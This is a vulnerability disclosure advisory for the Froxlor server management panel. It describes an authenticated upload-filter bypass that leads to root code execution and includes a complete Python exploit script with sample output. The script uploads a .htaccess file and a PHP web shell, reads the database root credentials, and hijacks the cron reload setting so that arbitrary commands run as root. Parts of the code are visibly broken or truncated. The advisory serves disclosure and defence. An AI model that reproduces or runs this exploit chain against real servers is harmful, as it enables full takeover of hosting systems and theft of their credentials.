SSD Advisory – Froxlor Server Management Panel File Upload Filter Bypass and RCE


A vulnerability in Froxlor allows remote attackers to bypass restrictions and execute arbitrary commands as root. Authentication as a customer is required to exploit this vulnerability.

The specific flaw exists within the uploading of files on the target server. The issue results from the possibility to upload Apache configuration files to the target server.

Vulnerability Summary

The Froxlor installation (when run with mod_php) contains a vulnerability that allows authenticated attackers to gain elevated (root) privileges.




An independent security researcher, Alex Birnberg of Zymo Security, has reported this to the SSD Secure Disclosure program.

Affected Versions

  • Froxlor version 0.10.13

Vendor Response

“We’ve redone the whole installation process for the next major release (around summer this year) which preselects php-fpm and eases the configuration a lot. There’s also a note that mod_php usage is not recommended”

Vulnerability Analysis

Obtaining Code Execution as www-data

The Froxlor Server Management Panel offers users certain services for use within their environment. By default the IMAP, POP3, and PHP services are offered, however multiple other services are available such as Perl or FTP. Security aware administrators may disable the PHP or Perl engines in security-critical environments.

For each customer an FTP account is created for the purpose of file management in their environment. There are no restrictions in place on the type of files that can be uploaded.

The only restrictions that are placed on the customer environment are the ones declared in the Apache virtual host configuration however the AllowOverride directive is not used.

Thus an attacker may upload via FTP an Apache configuration file named .htaccess with the php_flag engine on and bypass any restrictions set by the administrator.

Uploading a web shell and navigating to it’s location on the allocated customer subdomain will result in code execution as www-data.

Elevating Privileges to root

By default, SQL credentials are stored in the `/var/www/froxlor/lib/` file.

// automatically generated for Froxlor
// enable debugging to browser in case of SQL errors
$sql['debug'] = false;

The command that will be executed as root is stored in a file in the customer environment. This is done to bypass character restrictions later. By gaining control over the database, the system.crondreload setting is updated to bash /path/to/commandfile. Cron will then execute the command stored in the command file thus obtaining arbitrary code execution as root.


The exploit script requires 4 arguments, the target URL, valid username and password of a customer account, and the command to be executed as root.

./ --url http://customer.froxlor.local --username customer --password WpvecgmjOk --command "whoami > /tmp/pwnd.zzz"
[*] Elevating privileges
    [+] Uploaded Apache configuration file
    [+] Uploaded PHP shell
    [+] Reading server configuration
    [+] Obtained SQL credentials
        Username: root
        Password: p4ssw0rd.
[*] Triggering command execution
    [+] Uploaded command fileverfiied
    [+] Rebuilding webserver configuration
[*] Cleaning up
    [+] Restored cron daemon reload command
    [+] Deleted Apache configuration file
    [+] Deleted PHP shell
    [+] Deleted command file
[#] Exploit succeeded


#!/usr/bin/env python3
import io
import time
import string
import random
import ftplib
import requests
import argparse
from urllib.parse import parse_qs, urlparse
class Exploit:
  def __init__(self, args):
    self.url = args.url
    self.username = args.username
    self.password = args.password
    self.command = args.command
    self.s = requests.Session()
    self.s.headers = {
      'User-Agent': 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36'
    self.s.verify = False
  def trigger(self):
    print('[*] Elevating privileges')
    if not self.eop():
      print('[-] Exploit failed')
    print('[*] Triggering command execution')
    if not self.rce():
      print('[-] Exploit failed')
    print('[*] Cleaning up')
    if not self.cleanup():
      print('[-] Exploit failed')
    print('[#] Exploit succeeded')
  def www_data_exec(self, command):
    r = self.s.get(self.url + '/' + self.php_shell, params={'x': command})
    return r.content
  def eop(self):
    self.upload_file('.htaccess', b'php_flag engine on')
    print('    [+] Uploaded Apache configuration file')
    self.php_shell = ''.join(random.choice(string.ascii_letters) for i in range(8)) + '.php'
    self.upload_file(self.php_shell, b'<?php system($_GET[\'x\']);')
    print('    [+] Uploaded PHP shell')
    print('    [+] Reading server configuration')
    userdata = self.www_data_exec('cat /var/www/froxlor/lib/').decode('latin-1')
      self.mysql_username = userdata[userdata.find('$sql_root[0][\'user\']=\'')+22:]
      self.mysql_username = self.mysql_username[:self.mysql_username.find('\';')]
      self.mysql_password = userdata[userdata.find('$sql_root[0][\'password\']=\'')+26:]
      self.mysql_password = self.mysql_password[:self.mysql_password.find('\';')]
      print('    [+] Obtained SQL credentials')
      print('        Username: ' + self.mysql_username)
      print('        Password: ' + self.mysql_password)
      return True
      return False
  def rce(self):
    self.command_file = ''.join(random.choice(string.ascii_letters) for i in range(8))
    self.upload_file(self.command_file, self.command.encode('latin-1'))
    pwd = self.www_data_exec('pwd').decode('latin-1').strip()
    print('    [+] Uploaded command file')
    self.crondreload = self.sql('SELECT value FROM froxlor.panel_settings WHERE settinggroup=\'system\' AND varname=\'crondreload\'').decode('latin-1').split('\n')[1]
    print('    [+] Saved cron daemon reload command')
    self.sql('UPDATE froxlor.panel_settings SET value=\'bash ' + pwd + '/' + self.command_file + '\' WHERE settinggroup=\'system\' AND varname=\'crondreload\'')
    print('    [+] Updated cron daemon reload command')
    print('    [+] Rebuilding webserver configuration')
    self.sql('INSERT INTO froxlor.panel_tasks (type, data) VALUES (99, \'\')')
    while int(self.sql('SELECT COUNT(*) FROM froxlor.panel_tasks').decode('latin-1').split('\n')[1]) != 0:
    return True
  def cleanup(self):
    self.sql('UPDATE froxlor.panel_settings SET value=\'' + self.crondreload + '\' WHERE settinggroup=\'system\' AND varname=\'crondreload\'')
    print('    [+] Restored cron daemon reload command')
    print('    [+] Deleted Apache configuration file')
    print('    [+] Deleted PHP shell')
    print('    [+] Deleted command file')
    return True
  def sql(self, query):
    return self.www_data_exec('mysql -u"' + self.mysql_username + '" -p"' + self.mysql_password + '" -e "' + query + '"')
  def upload_file(self, path, content):
    fp = io.BytesIO(content)
    o = urlparse(self.url)
    ftp = ftplib.FTP(o.hostname)
    ftp.login(self.username, self.password)
    ftp.storbinary('STOR ' + path, fp)
  def delete_file(self, path):
    o = urlparse(self.url)
    ftp = ftplib.FTP(o.hostname)
    ftp.login(self.username, self.password)
if __name__ == '__main__':
  parser = argparse.ArgumentParser()
  parser.add_argument('--url', help='Target URL', required=True)
  parser.add_argument('--username', help='Username of customer', required=True)
  parser.add_argument('--password', help='Password of customer', required=True)
  parser.add_argument('--command', help='Command to execute', required=True)
  exploit = Exploit(parser.parse_args())


Get in touch